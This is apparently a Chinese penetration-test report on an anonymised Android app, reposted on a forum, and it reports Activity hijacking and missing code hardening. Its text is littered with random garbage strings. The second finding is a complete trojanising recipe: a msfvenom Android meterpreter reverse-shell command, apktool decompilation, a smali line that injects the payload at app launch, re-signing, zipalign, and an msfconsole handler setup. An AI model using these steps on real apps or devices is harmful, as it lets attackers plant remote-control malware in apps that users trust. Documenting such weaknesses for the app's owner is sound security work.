原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

admin

: ^; d/ u4 y3 Y5 M, U ! ~) v5 d) v7 x0 _ e0 c

4 I( P& J& h' c0 |/ ^

1 g5 E3 ^. J$ _( Q. x. C2 X 3 Z& y8 F4 r# E1 Y

3 y: f8 M! ?3 w$ | & I' [* o- g* b: u4 H 文档编号：                # E0 B, U. I9 T+ d' s

7 Z( G {6 {. S3 o

6 F! O3 [& Z$ k' c " e/ f# }% ]: @' O# d9 ^) ?4 p. Y   6 g/ P( \; |' _: w* L

# S1 a3 [ k0 h7 o: E. m3 s7 d

1 H; q7 s' Y* i) e5 y  

9 _0 u, ] w' {9 D: o* @ ) ]! X8 v2 i( W9 y

3 {" K2 Y* {" i5 m5 `   ) D6 h: F* N4 V, ^2 c- g# k

  - O& u1 U T& B+ {& ?

0 B1 \5 z/ L- V; b5 g- }& A. P

+ \6 g5 J: F/ Z3 ?# P. e : \. \7 z; Z4 e: B  

某某某APP渗透测试 : |4 b7 w, S* G

& b, v& \6 h" a c/ o8 K% _9 o6 d

/ J |' [8 ^7 ?/ {) V! ?6 I 0 Z r) q. V. l/ @/ c9 B4 x   6 F# B( P# y7 ~ 1 x5 z; L0 Y: e2 ~+ F+ Q

" Z N+ l- Q. V

y8 _: m# A& q+ Q& w, T, K   9 W8 k; n! [+ s8 n( T

1 T' i( F% g; j8 c! X3 W   7 \* a4 l! B0 s0 U* M ) q- K4 E1 }! t

' H3 _; F( s- j; G$ l3 G& k

 

: c0 v0 z! K9 B+ U7 B3 Z

/ s" N8 C3 E) r/ O & Q! D1 D+ b1 Z: ^; h. A( Z 技 术 报 告 + y5 J) R( r6 [; d

% f; y$ s8 j0 b+ u2 v' P7 ?

/ k6 H# C' ^$ j7 G0 S! }  

: V( P# X' }/ ?# _( C

6 c' L/ O& e+ k3 V/ k Y! ~% ` * B. P2 D8 r! V% f( @5 d6 ?) x   % g3 z9 \5 e4 V& N

; N( B0 U' Q0 c6 z1 b% o

9 u* C! J+ ` U2 K- ~   & P$ M% O/ r5 Z3 s7 k/ ?$ D

d+ U$ f5 f' F) _& U8 w! ~- F7 y

" z! G' t6 a/ b" k   7 s m* p. i% o9 ~

; ~& o$ d$ M1 E; J$ R7 P   7 N8 Z1 _ B/ E/ @- a/ ~ 7 J e3 P) n' u: C3 a W

4 K, v+ ~# _6 o; ^

  & t. o8 |9 K# v4 r

. I/ J4 h' L% t* w. ]9 l1 \0 x0 R

1 o/ d; h+ a& G/ ]* F   # u P: l0 k& v3 Q2 x# L/ G% C

/ ?7 m7 E6 ]. C   " ^1 \9 w% B( q& R* z

1 @& Y! a9 N( B' A; w& v, [

% }/ Z# y( C4 z+ b) @/ v4 Y1 q   3 }* w' B) o) o ' P5 t& m6 M. }4 H) E+ a" i

3 v) F$ s; g9 U5 K# J* |* K, |

, V8 Q7 b' O) Y2 B0 P' G0 v   . Z/ w5 n& f) h% n, k2 O) J* A - g0 P# `) m" k8 r

5 m+ k4 Z" H& B5 n1 u6 M - b" e x1 {0 ~0 R4 V( M7 _+ B

" _- V7 ?1 z/ F/ |) ?; W - y+ e+ s) r. Y# l; G   . i# F: X1 V+ r. N% ]3 O

6 A5 b# v4 C7 |/ F

: _- q% p3 Z3 G/ T8 ^   3 l; t$ V3 n: I- s9 d5 F+ O 0 g/ F8 ]/ m1 C( l

" T3 P1 R' _; l) V3 H

; A6 z7 Q' F T+ a   + i u% ]7 J* X) A) o

! c, x$ H0 h& A

% I- S. o: T* h% m 9 T* E2 B& [+ k. T' }; ]# X, \; a0 F   ; Z- y4 @6 A# d) Z2 k+ y / e3 i# w2 Q, M1 F

" O( g" A( W: u) W' w8 C8 ~6 W

! U$ \ Y# N; H$ |8 I  

" t5 |/ ^' x/ F! l/ _ M! r" j3 t

' x& H8 S/ Z& p 7 D( f% Y5 d1 z- @   ; B. ?. m: L# W

! E5 q" X0 D1 l/ c

2 n7 j- W! N& O! ^  

. ], W' U; X, } ^   ' c: r1 t( _. o, f- B. D7 e) s

% F$ D) ^" T" ~; B

3 O5 \9 S9 x/ O. h2 f4 a 二〇二〇年

. B: B9 u- p1 R c& K

& N k- e( e3 X t; {( N9 p& m* }, {9 t 1 Q( k/ ] ?$ I5 P# m( u5 c+ K 7 e! S' m2 X9 }

. H; S) B/ O* Q 7 V6 P4 F" c, y1 H4 Y6 V$ Y) D+ G

1 S' v, q: D! i * ^/ J: c- i( t: I* w2 D

目 录

+ p8 u3 K! w- i8 B0 p, o2 M% ^5 ~& j ! [& f, F7 @1 b ' ^: `$ v/ `4 k# A% e" f; k, V% R( [

4 d( Q( g' e4 O; D+ P; {8 @$ i  

! U- ?) e0 D( b2 |+ ?

/ w: D7 ^: T* Z& p9 x- Z3 B o 1 概述... 3

( j( U g' R u `7 Y* p 1.2测试时间... 3 & C B6 d. B1 g0 U 5 C n6 p/ V! N6 @) a

1.3测试对象... 3 7 e+ t9 T% Y1 f) p {4 |7 Y7 I & f, K/ ^+ h/ ]- V& u! n2 r$ i/ M

. y) z0 @1 E Z

1.4测试结果... 3 8 q5 S3 |; `* g' x. |6 R 4 w2 U0 q7 Q4 O6 P; i

$ {8 s4 v8 J0 U# x

( K# |. s2 P; ~4 [- ] 2 检测结果... 4 9 }+ s/ u' s3 A

! x, D) c- k0 ~' z2 k0 h 2.1 某某某... 4 ! M# P& _ w. l* D; g+ ]; f* J* j 6 V% z4 ^1 e# w- I. `; p

- p e7 I, R1 p$ ]! y

# `+ S n- y( `2 {2 ~+ K' B 2.1.1检测目标... 4 4 g( k! _& s+ o* k

$ ?- F, _9 E" C( b

2.1.2检测结果... 4 5 o Q) m& s$ l# ] & g, Y4 b/ G6 V; Q. B

3 H7 N% h: ]" g; R; ^$ }

" \' f. S! U$ A f3 L0 P: A 2.1.2.1. 4 4 L8 ~- \! v) A, O- L# }0 h

8 p$ {! l7 }) e) M0 O4 _

; N0 v1 T% m8 W0 ^2 Q' ` 2.1.2.2. 6 % c" F9 U( o' W* S7 o 2 o7 I |$ u+ d1 T, b1 j% i

. Q O2 g5 z1 U7 g& @ } ) Z" G4 ~4 _1 x / o) e) E. _8 N7 @* p

7 w/ P% v' }5 c3 n$ q

* y6 x* N4 ]! e( U& p1 k0 p$ D) S
7 a3 V& q( m. s5 j 5 Q8 C. i0 O: l. |+ C" X+ ^% M* H ; j0 _" H- [& k6 I ( k7 z% M D6 e' M1 f$ ^5 D

( L9 p8 h0 H6 b6 E3 l; p 1 概述

; ?! P: p* s5 z8 p3 J / r; ]; H3 @4 b F7 P1 \

1.2测试时间 D5 g9 B' h; `" c $ n, j% b7 a& }2 M( ~+ _

1 `0 J/ f5 n& m6 w$ B1 D4 F) \% ]3 _4 L$ Q; E3 w6 C$ u" U' V" {; l# V8 n3 [# b+ ~6 T7 z4 w1 N+ h2 ^2 P, k/ T3 C; [! i K. h1 f, D, b* A5 r4 q. I5 h" z9 e- |6 s/ P9 M7 w; ]" N9 L4 |+ Z; U) C' v* X$ }8 X/ k/ C& s2 g. u8 U; ^1 ]) P3 a+ |6 S V/ c! I: s7 ~: [$ Y8 L( P. _9 y! R; H- v/ N* S- o) _% z$ P

1 {* [8 w5 b6 F, O8 Z 6 ^8 q! o( \% i1 ^& o2 D2 W3 \/ h2 o 渗透测试时间 & D, b- d0 O9 u) P% r& o
$ q& |7 p2 i) G9 M! h$ I 2 d4 C; p6 p0 e3 Q+ p- }# f1 E4 D % ^ j& T0 e* U( z 5 T9 {; ?& H% K 起始时间 6 O; O6 ^, }5 ?8 g/ v6 ]	$ g m @# @$ J0 n6 c ' x( q) m+ G$ |0 | 4 r( y! X" ^. ^& \ 8 e1 q' t2 x w. N8 E7 E! K 2020年4月6日 / H# E1 @# N" ?2 r
# |/ K$ } r! b 结束时间 $ W8 r7 V$ L; I: x9 O* x) E4 Z1 P	. _8 m( [' p% V; I! ?2 _: e 2 G6 \ E* @9 n5 h 2020年4月9日 9 u6 y4 n9 Y& b- {4 B" U

4 D& u4 m/ ^9 ]7 h, B0 L( s2 H

+ S; u4 s( h( o2 o- E& o! a; {( F 1.3测试对象 ' \ |! ~7 d) U$ Y8 s ! H5 U, O0 M% P+ p/ [0 I4 P

$ O; ~4 x F- ~* W s r

) O: V7 @- X* j 3 }+ L. f3 k/ I7 L! W 此次测试目标为某某某安卓APP进行渗透性测试，APP存在安全漏洞数量如下表所示： ) S( j! P, w) l P) s) |

1 o$ R5 P4 U1 h. Y( ~' A

0 i5 W9 E1 _% j8 Q: }# X; U ) P5 K% k" m2 T. Y. u 表1-1 检测对象 $ X) T5 w' U! M

1 J. P/ f9 ~, ~. ?2 M+ Z1 t 9 B2 q6 y! ^7 I, N6 e/ o: h8 |; v) j7 h3 X A5 O6 l9 u! Y @( a+ X- v2 w# O3 t+ t" r! o2 d4 g3 x' X4 @( X/ k7 D3 ~3 G) X# f# `) n+ s4 }0 h% h- m* m7 Z6 J: ^4 H/ }; m1 H2 y/ v0 n# y" l# U2 L: t- s7 m7 Z X/ R/ B/ {' \5 S, k! U' d7 b5 x0 p& k. o) Y+ `9 t3 O+ K

: y. J) ^: k( Z / |; D6 u: |2 ?& s: M" k# F W . F/ M& m' f. P) p4 w: ?) T5 f 6 e' M) O5 l P, l5 I3 N+ D6 Q4 F 序号 $ y; L2 m7 r, h1 U * p/ h B3 N8 ^/ m; H$ n	# b* f5 m2 L: |! Y/ z! d( O 测试对象 6 [4 W& o& E1 c' b4 }	3 S6 p% I$ y# u; z4 | ) T; N9 E( l; j+ G2 M' n. w6 x8 C 测试地址	- V- c4 [. X2 |. c; ]) Q; e3 E 5 m3 J8 z, c5 q& T' } 安全漏洞 + g! v. [' c! g9 G! J
- i8 ` K& T! H, L- _ ; f4 C& T! L4 r% E; n ! e; s5 _. k+ l! w, [# M* t/ g + `5 X* _9 c! c( g 1 . Z- U6 K4 |" ` 0 }' ^9 u& ~: J# |9 x0 ^ Y) u4 Z' a( q5 W	某某某安卓APP 0 j3 C. R6 V7 x; H. R6 n % z9 s% D' L3 Z$ O# ]	# ?* J/ [) u7 h0 f' [ # ^8 T$ J9 c0 s# ]8 S+ B6 P / M, s! G; {" m' O   + A6 P/ S) ^6 e$ w; [9 }8 n+ ] 2 W$ v9 c% z% I& i: z	1 g+ z* s+ X- g8 r* u) A * N! d" _7 F/ [4 ? 2 p% R, A |" \! Y+ T* v7 x " U$ F8 I* x: g

b$ ?$ m# G7 v0 R - \! I: ]: j5 P! M6 @/ P

: e1 F# l, K# _ S; L9 j 1.4测试结果 ; j0 k% Y, N+ g' N& | ; m9 \( Z x( z+ ~

: `2 z5 j# h$ ]9 [2 @ , _ \7 l* B5 m8 N

在本次对某某某APP透测试中发现，APP安全防护存在一定问题，主要问题如下所示： 6 e( ?$ P* _6 i( v0 m ( [$ i& M8 \+ b

3 S, G# }' J3 D3 B. {

3 R( u2 U# f4 j1 d- c! T; ] " _' Q# z" s/ b) R  

/ L- n. s9 f& h; Z C

- e% e( Z |# K) q( T* k F& o/ x; o3 `$ x6 f4 H- ~3 ~& e4 f* _* F, K5 h# Q4 V- z8 H' W0 w3 P1 _- e" Q* y, M. e) y2 V. L5 A( X( w; a" j6 j) _/ H3 x# y/ k' Y" Z6 }" Z. h9 S7 a" Q1 t1 o) }3 z2 w9 O8 N5 V; d! H7 l& S8 j i( i% C, C; X. @1 H1 `/ D6 J* n+ q8 O% M: t5 W( A$ D' H. H4 [/ c+ X8 R% Q$ S2 q1 N) v7 l6 m$ m w/ @) s$ l2 L! s$ T1 V: H" i2 l4 }0 ^7 k6 Q7 A5 h2 S1 l$ [' X+ M. [, |6 Y6 c0 p" t& J k6 @# s+ V$ Z* G. ]* Z2 t' e4 M+ _ {& @ @% F1 l$ q r& d5 i- Q& r3 L8 V+ p, d6 e# ~: P1 l5 `# E* N# N* Q5 V) I1 B! i5 P9 }" K! w, j }7 l! P. h8 D* ~. T# B q) K2 ?# Q- h' R, ?6 f) Q+ M( ~; Z) c/ z! ` F* T0 @. r+ D8 R n( [2 I1 M; l- p& `8 k. x

序号 + k0 [: r6 p) ` * h6 D p: I1 X3 t: d	9 s3 j. t7 I8 Y 8 l; R' C' |8 `% @ 系统名称 ' [ A# B9 A8 ^7 i5 t* Q+ l , j4 i: a5 `( C7 B! {, H! @	* _1 m& c. D } . D( }. ^' g8 T+ o6 y% G/ |$ v 漏洞名称 - j f2 D( i1 N	5 x2 {% _/ R( r 9 W: \" f8 I, I9 V% O d # Y- y2 C' ~- [ 漏洞危害 8 L$ N) K1 S6 [	! c2 d" _: z: [2 { - H% _& G/ }' Q1 a 修复结果 x$ W( s5 F7 n( q+ s5 D9 l ( p/ c; B: s. j( I' l % P( |# V# O! E# w" G0 R & G) ~4 a, _4 J2 u
2 f, `/ l1 T# ~ B F. F' \ # Q" |. v& u' y4 J( H # `. n1 g* g; I4 F 1 & H: G1 V; N0 t6 u % }+ @) I$ f1 w	: \" w1 |" k3 Y2 {0 h/ f5 f' k % }6 |- ]# f6 m1 r7 m 1 t V; a# j9 d) s# v- m! B 某某某某某某APP	5 a/ K0 o! o3 n+ j5 O% X) \. v Activity 劫持 * |' i4 p/ E# W' o- e3 X$ [8 B$ D - p: o- \& _# K( c6 t   4 g/ a8 Y2 A2 }/ F& x2 G, V	9 ^) E6 Y& B; S; ` ! R2 k( g# f- u; T" C* @ 高 : f3 {1 @, [" H% T; F 5 r$ t; i% p) q( E& d " ~! d4 @, B" {# [8 k* u2 z	2 p6 y# e' M& M9 D % X0 |& \5 \( C# a 9 G6 u: X, g0 }5 K, g" N& u2 h   # ?) `, ~- j y7 D* R
2 t6 E3 l1 Q# y( r: f5 K; _ 2 ?) a: y- ?. ~2 E/ U5 i* A8 p# { 2 + d1 d$ @. \5 \5 H! Z$ o + T5 O& D. V. t4 C4 d/ l ) ~4 z" l$ ]0 O- X( w4 o2 b	% V6 W+ i% T7 P" I 某某某某某某APP 5 R; g% t' c* R, |7 J( c / U$ \. s) B7 b* M0 J	0 ]- Y) V. R8 W9 Y! {- z# ] * e, N/ s( F1 [% H : { n' c/ Z' n" ^ 反编译二次打包捆绑木马、篡改APP代码 / q5 j6 m" o$ H9 f; Y " Y0 ?& Q5 X" m# B& s; ^8 I7 \	6 i) s5 L8 O/ r 7 b" S0 j ~: w# w, X: a+ v! V 6 L8 V, Z; X# V* } 高 , A3 V2 z3 [2 ^2 X. s1 N& X/ ` # B5 S* ^1 J3 f0 m( ~) |, [! K( n , O* B' z9 ~" ]	' h8 P# Y! S6 }! F# S " |. a% g! K! b& {$ k# z ' I+ Z% o ?# x9 i1 O$ n; g   1 n v+ J( b+ n 9 ]. Y, P+ t2 C, L6 b& y

( ]* d; j% _9 B* X# x3 h& p& V

0 L* v2 z4 X2 o9 s. }& f0 H 0 ?1 O) `0 D" t" K$ a) G* }8 H   + P( O0 Q: [+ ]5 f: S

+ x7 I- e, B: m' Z. Q, V0 W. ` 6 ^$ X; v: y/ a3 h* k1 D

) o3 a) N, r7 M9 Q 表1-2 测试结果 6 Y$ {% K( ^; R$ U/ p8 j, X

/ f, T/ e; Q u) \

% V% _$ d# k( {$ G# [3 l; g   + M0 k+ o- R% x" G 1 t1 |% ?; E0 ~$ K$ \2 y; l

) m2 i$ z; ~1 d. w5 `* V # \) E1 N2 p6 \! O0 ]. ~8 g* U/ ~

2 检测结果                    % B* j4 X4 J) U $ B4 i( ^1 @1 Y/ d

, T4 h4 T/ l+ y- L- G, ? 2.1 某某某

+ x# K/ e4 K' o$ e ! q" w! a: B6 R. V, ^( d

. g4 Z% P2 v- h8 D 2.1.1检测目标

目标地址： 某某某某某某APP . R- q9 a7 K2 E( _2 q

* X+ E5 V" {8 h6 i, x

8 `8 q0 @: X' b: p 2.1.2检测结果

* N! [6 O# U F0 `0 n5 Y. q 2.1.2.1 2 Y; E+ H5 c& M B- B

" j" E' B; C- x$ j& p( w! B2 }

0 {7 D1 F% U1 ~3 X2 [" H7 N 漏洞链接地址：某某某某某某APP . {% O: m( C) R; Q( y

; J$ e& m1 E2 ?% T: F4 y

* n! r3 K d* x) D& _ T( ?   . S# ]1 D7 c7 m O6 H

漏洞分析及取证： 2 _# l$ H0 \/ L

( p9 d$ ]# P8 Z0 l

                 通过androidkiiler反编译，发现app未进行安全加固， Activity 为com.minivision.cmcc.activity.SubActivity可被劫持，复现漏洞如图：

! X5 i' u0 q7 A3 W3 k3 j$ m

) A7 E( {7 z% X O4 I& g0 A 8 t/ G& p/ @' E" `# t: `, |8 Y* ?     

0 o( r* r; V% g

) ?, n9 n6 u5 i* P ! n7 ]3 \5 V$ [/ u4 ^                       / x: S- i6 ?' M2 { ; p2 m0 ~7 V. _" R

/ ?5 t J) V6 d5 H . r9 X) R+ q) C# ^8 ~7 h

* N* a' ]* b4 c0 f; A G . @) a4 S' A6 y# ?* ~) K9 j

" z/ y5 H9 H, `1 J& ^ : c8 V/ q/ d4 K& n

+ A& ^% X1 A1 L5 q% Z / z! K- v: Z6 ?! L' i0 a8 K

: f# j1 Z, b2 ~* z: z/ v

2 b: M5 p# I6 Y+ ? ' q) M* F% G2 V2 | % W4 W( A4 ^+ x( G/ j% ~2 f

0 s& x& \$ b1 b% c& N9 _

漏洞危害：高

! q* _+ h+ z7 z9 L, x

$ {/ A8 ?, P% u1 V0 ~% G. X % F9 Q, |8 W" K! _) y5 X2 d# r7 J3 J3 c6 A A1 g3 W) q$ d6 ^! @$ @! n! v* C9 P; U; L; ` M# g) q8 }9 y/ x1 u# W- r1 ?1 R3 a8 m4 G \! B! C0 Q! K+ w* O4 A1 X) j/ s9 Q0 M0 \: w' R+ N5 V; ~3 i/ A* H# o: k3 f8 J" Z; a9 v( [5 T$ U% H& C+ t& _! J8 R$ h: ]$ B3 _) C6 z7 ]1 U+ k% d% ^9 h; N4 V5 M' N3 Q) ^8 p. K; [8 @$ b! l3 [4 Q+ W/ E3 s7 A

" ]0 {8 z$ v& g8 q# ]$ } 2 N/ Z8 f+ R, ~! L0 M- m 严重程度 9 A( t5 u: ~. t- d! e 4 }8 s+ J: {6 P& ?; e	高 & x N$ f: Y! B. d2 @1 { ; [" |. o( G( y+ }& ^ 5 f' w9 x, s( X	# r" i- Z7 M9 [) l$ n$ Q # B$ X+ o. Z1 L7 n; N# q ■ . e2 a0 H: C8 ^. W	8 n& j/ Y) ~3 y0 I( `9 O1 g0 e 4 Z. P) q0 ~$ m$ z ! H8 X! q; v2 x, l 中	5 O: ~" z6 T p" ~4 M- p 7 K0 s# e5 A+ E7 T8 ~   6 F3 `" h6 j) _" k % B. D' W+ W1 V" W# m	低 + ]' t2 l4 i" e	3 q7 p, P; |! v0 B% Q9 L $ \- ]. r/ V9 t' y; y7 C# B6 b Q, [* m7 L2 q5 n. ^" ^& |   - J. Z" X2 T# [# L3 x$ i! k7 `+ P

9 _. P- [) j. U+ h0 ?

( W3 j- l, R9 a; Z $ I2 H' j1 V1 Z; f T   0 G* N3 _8 u6 U1 G + i# Y5 l6 }2 b9 _+ s, Q' n( }

& g3 c) }" C7 H* ` 7 p+ v; X) s2 j: l M- u

修复方法：在 APP 的 Activity 界面（也就是 MainActivity）中重写 onKeyDown 方法和 onPause 方法，当其被覆盖时，就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的（触摸返回键或 HOME 键），如果是用户自己触发的则无需弹出警示，否则弹出警示信息。 3 S; q" q9 k: z, F e& \" C

8 \- r# V9 o$ T6 h: T, ?, `

          & A& n) U- i& Z# d- y6 F4 U ) Q) v% [+ F8 n- I9 @) D% ]

: s& r5 T% I) l% H# [   * ~0 L% V( ^' @% a* H3 [) @0 K

- Y* G# M- V$ q* d' t0 E

" j6 M) e6 D5 `8 z- B# |0 D; s 2.1.2.2 1 p: [+ F& o0 e/ h8 ^9 X

+ l8 T& z) y$ S$ m E4 |1 g2 M9 [ 漏洞链接地址：某某某某某某APP

" {& V9 k' Z5 h3 t

/ I+ o8 c# U$ q8 _+ H/ E + I$ G4 R8 a% m9 o6 t1 x) E 漏洞分析及取证： 8 f$ e- L( U; N& i$ k2 W5 i z , m2 G5 h& N. E w' v5 ?1 V

) @8 y/ m" B: e+ D. @6 o

9 z1 O- [. v" j0 E ^8 M                  通过反编译，发现程序未加壳加密，可直接反编译获取源码，经过测试可修改app代码捆绑木马或者植入广告等操作，复现详细方法如下： $ C! M" T: a. ?0 r. [* `4 s5 g

7 \ [3 K n7 L" j1 N 0 p2 O7 B( A8 a4 q: d

用Metasploit 生成木马 apk : I: c8 R; h$ _

; I. G2 R4 t2 R1 k/ Q 9 \0 w1 O/ F& l msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk : q$ N0 p S* L h; x3 D; _* Z3 n

$ n0 m- H+ C2 \, W7 H 反编译目标apk和木马apk $ C9 O; s8 `3 r6 s. {, X9 `" E

4 l1 i& k7 R" ~' i( L& e

apktool d target.apk
; {1 V/ a f O apktool d cockhorse.apk

5 ]" o: ^, C3 _- O 木马 apk 注入目标 apk & f% j! Y1 g7 ~/ t. p9 ]7 f

" h9 P S/ D }* Y9 v9 c" E : A# b9 ~* o# c1 G4 c8 i0 I" t 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件，并在 onCreate()方法中添加如下代码：
! r$ x' u4 e: t. A; E9 i9 S- W! s2 z( x8 [ invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V 7 ?5 A6 Q4 P9 n0 k( U2 p3 I/ x2 L

& E$ [5 f0 d0 w% Q5 p. Y+ X

7 c) \$ N! _; Z0 ?6 F ) `/ b- T8 M: j5 j0 j3 ^ 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中，去除重复 ' U* \: y( T0 E) I. |/ w: I0 \

8 {7 C# t6 |+ P7 b1 G' Y6 l' K : ]. P- j y5 w6 ?. o) x! C

4 e) d5 r/ U( u. {" K7 n 将木马文件的 smali 文件放到目标文件下，例如 com/metasploit 文件复制到目标文件 com/ 下 : H! p% g& l: W) j5 h " F( a# O( H, V% j2 @

) h4 {4 Q3 p) K8 o" q7 d% P

9 T, s0 Q/ K* `$ n. N 回编译生成最终 apk - z; u& O$ ?) a; C/ h( p 2 A' J' ]% T) O. r6 a

8 \/ N& B4 B/ Y* I& _: I

e0 K5 X C! c 重新打包 + ~/ Z* v/ ^" {( C- v / |, m. x3 n8 N4 }9 V5 P' x

. d; I# P0 G6 W9 y % \( O: v. ^4 h0 E apktool b -o repackage.apk target_app_floder

" R# L) {4 y6 H

8 T' h7 R# u0 x$ P( l % h* S' V; ^1 F1 Y+ G 创建签名文件，有的话可忽略此步骤

' p" f4 v, l+ ` $ g# R' t2 i! R; x1 J8 T keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                4 F) v' x0 t9 w6 Y: i % P6 Y, o& K( C1 y8 @

签名，以下任选其一

8 n( U* W4 _/ V& g: Q' S6 \ & T1 q/ v7 S5 ^0 @4 o

% u' i9 w& f) @/ m8 i" ? jarsigner 方式 ; k( A, q1 |. }: M* j! E5 R2 z

' X2 N1 H- |0 N; j" @& T8 @

jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname ! K, i( Y$ e9 G/ g% k' E

: ^8 `- A; J" a* Z- B

* f; P9 S3 w* F& t& |" } apksigner 方式

' y: f6 ?. `1 l" ` apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk 1 g4 Q c! g, `* u; O! @4 C1 q; ]5 E 3 {# h9 k% d$ y8 Y& {

1 Y+ V0 Q7 B) y3 \" U. ^* o* H6 ~% e

/ O M- S: L* ? 如需要禁用 v2签名 添加选项--v2-signing-enabled false 2 u/ r1 a0 D9 |' \5 e+ D) P/ v9 S

$ C9 f, N/ [5 X4 _* W8 ] 验证，以下任选其一 % v) V) Y3 |; C1 H+ r5 h; z

) A/ `/ k# T ~, R$ l/ V 7 r% G Z& u% k& O. Q

: {/ Q9 o( o: O4 K: }3 Q" o! B ?' N; C3 I- E! ~ {7 \- { jarsigner方式 , s. g2 p' k, m" N & t9 n3 M+ T4 T U9 B

) I2 @# {& P+ h/ m I8 P& ~! ^ ?

" Y$ {2 b; _, z/ X3 }3 k( h# { B jarsigner -verify repackaged.apk 4 h' S, i9 J- T/ G' t6 q

, K% v! |! g# E9 O* O4 N7 R. N- r 9 p5 a$ ]! B& K' s: T

3 j, i& ]9 Z: D% O- e1 f) F/ V$ P; x; O apksigner 方式 / z# R" j* ^9 P0 D. f/ `0 Q) Z+ I

4 }" N3 {. ]1 E - R1 f7 J& f7 P apksigner verify -v --print-certs repackaged.apk , @9 \. y, W" |

c; K5 Z( c+ X* X3 L1 V

3 ^0 U, J! o0 v5 A; ` keytool方式 & Q0 w3 u# |7 t" S% d9 l8 f 6 p3 K& _/ C5 o6 a; |1 E, }8 f

1 P' B9 {% }9 P- x# K6 Y. @, m8 A % U% X: C' U! S) n/ p, S keytool -printcert -jarfile repackaged.apk 8 p/ H# U( h* _- D 9 G7 _4 N M# H' ]

7 n' `4 j: C. e! M7 c$ h; B 对齐

! N+ P* }. s+ |. K

2 Y: p2 w8 k5 R* k. l 字节对齐优化 % j( W) x; g' b% u

1 o; ]6 G) \: K j$ P/ |" X5 l0 q

zipalign -v 4 repackaged.apk final.apk 1 j1 Q. G8 ^) c1 b% U5 n; X1 V

7 |) W$ ~/ z9 W5 V6 M: q1 ^ : N" @7 t' w, E' e- t% b. K 检查是否对齐 % E6 t" Q4 ?' R 7 Q# G2 x% M, h5 {" e* |" o

' L7 H$ [* O# ?" D

0 X; U* ]% H, Q0 j 8 |# O" H0 F& R) {) k+ g$ o zipalign -c -v 4 final.apk 4 |8 F R' O7 N& ?" A; \- G9 K* d

. S# s8 J$ ^ Q $ b/ ?$ n8 p3 f5 c3 ^$ i- C

; R. H% o# S4 S" v ) _' o5 {9 y. m# h1 r3 H F) [1 b0 G 注：zipalign可以在V1签名后执行，但zipalign不能在V2签名后执行,只能在V2签名之前执行 3 Y# P9 b5 |9 b5 J/ o i

% W& l8 Q- x# `; b" w

! R. p4 b6 X' Z+ c$ y. [7 j$ | ; J* Q p& d2 v9 {4 T# v7 t# Q 启动Metasploit控制台，配置参数等待上线 ; H* a9 t/ o# J) x2 w 1 A7 y# I! H1 b( ~9 M; [

, ^2 v+ Q4 h) U2 v- `% z- G' C

" V9 U6 L1 B+ K 在终端依次输入如下命令 ! o& y# I7 `# `1 [. P6 m

+ K1 p, v/ \7 @' {2 N6 f* c

' S' V' O- g5 F' u" B* i msfconsole , h, l9 Q& E. S- \1 b* w2 E" z

, j5 ^4 Z, R7 B% q8 r% _ k5 Y- H$ E3 h, o/ [0 O

use exploit/multi/handler 0 L& K: b9 ^ y0 q

+ r/ F9 W2 h) Y, Y) a/ L$ I* w" r! c

3 O2 t6 ^" E/ \0 f2 R/ J4 q set PAYLOAD android/meterpreter/reverse_tcp 0 I1 R9 L% ~* k0 v5 O

8 Q. [' i, ?% c! F' n: G4 P7 F . m) K2 J. C7 \1 m

set LHOST 192.xxx.xx.xx 2 T. L8 B7 A6 s9 Q" Y# I7 Z # ]( Q' e! d1 N! H1 `4 P* K

6 _; B8 k: j* N' } 6 U+ b5 _9 @+ u) i; m" b/ P6 G

set LPORT 4444

5 c$ Q9 t$ a7 J6 Q6 g

exploit " Y) ?* E1 j4 n% R y

7 s& ]/ B1 s; } % S1 c1 u4 O7 Q: u: n) I+ U, U: q

) w, Q+ T' e9 J0 [% E& o2 a7 ? 之前我们把入口放在 MainActivity 的 onCreate 方法中，当启动目标应用进入该界面，就会连接成功，如下图：               ; j2 R l% S% V$ h4 ?, c* q 8 x* l2 i, ]& h, t7 m+ F; X; f

" h0 c8 P% H1 D 8 d/ Y& ]7 O- [+ L3 i" \8 X& ^

漏洞危害：中

; H. I# u' p3 U! N$ W & {% {5 m1 }7 d6 m4 A5 D; f2 o2 K ^+ h; m. e- j, G& N; U6 A3 T3 i" T. j3 G3 v! Y3 X5 a: o- P$ }- U9 H2 u3 ^4 V7 n& J" d. v7 i& {0 S! }# l. {8 A1 t- P# z9 r2 ^" h- Y, ~+ d( G6 i+ m X4 R3 t* L e+ ^6 C9 B0 C# h- h6 F" X, {, i0 F' f$ Q; z3 J' A5 J" G' r5 u4 p2 ?5 ?* _/ a2 a4 d. i4 p7 w, G5 ^; S# B/ G& D- _! F' `6 E- l y4 l+ T3 r G! L# U3 ]' d {( U% i" @. C7 ?' t a) z' L- b( d/ X- m' y4 l2 H" [4 q& Q3 s8 @* B8 n1 i% \5 V" L9 e, i, N9 ~

. s. B8 `6 U; a! q / b3 T) V7 [! S: X. N h ! e F. ]& M7 ]7 A/ I' M 严重程度 5 E6 @, ?- P, h. o2 l. n1 |) j9 H	. b8 n, a: r. [- o' R$ R& B, k% ] t% x7 U' u( L1 l0 @7 u" a 3 c' Y, g$ E! ~4 N 高 7 y3 z; ]+ d; e3 H' j9 I: X+ H 8 v& Y! e) J% O. z; L6 `	: b6 l P$ t9 {) s ■ ( e6 v. B! z8 T* ]. j6 @7 |; q	中 8 D9 \$ G4 y3 f9 R4 L 7 [ z4 Q5 w, L	; y7 U6 z6 r Z5 B * F& U: L" X1 \$ w R/ {) ~- P' }! ]1 T $ a9 S1 v' v9 t( b   2 o5 _( i; f7 [8 p3 u$ h/ e+ |: W" g. p ' |1 H8 {' n8 J/ v6 O3 O6 u ! J3 p5 t" l" [	7 w! k7 Z. C0 r9 x- k , N. r4 ?8 B! u. q& J* B$ M , y1 w$ h: v' N' A( `9 o 低 " I8 I$ O. Z: K5 y	8 y' R2 K- D5 D) u+ r6 P! d% U " c3 c/ \1 J8 T# 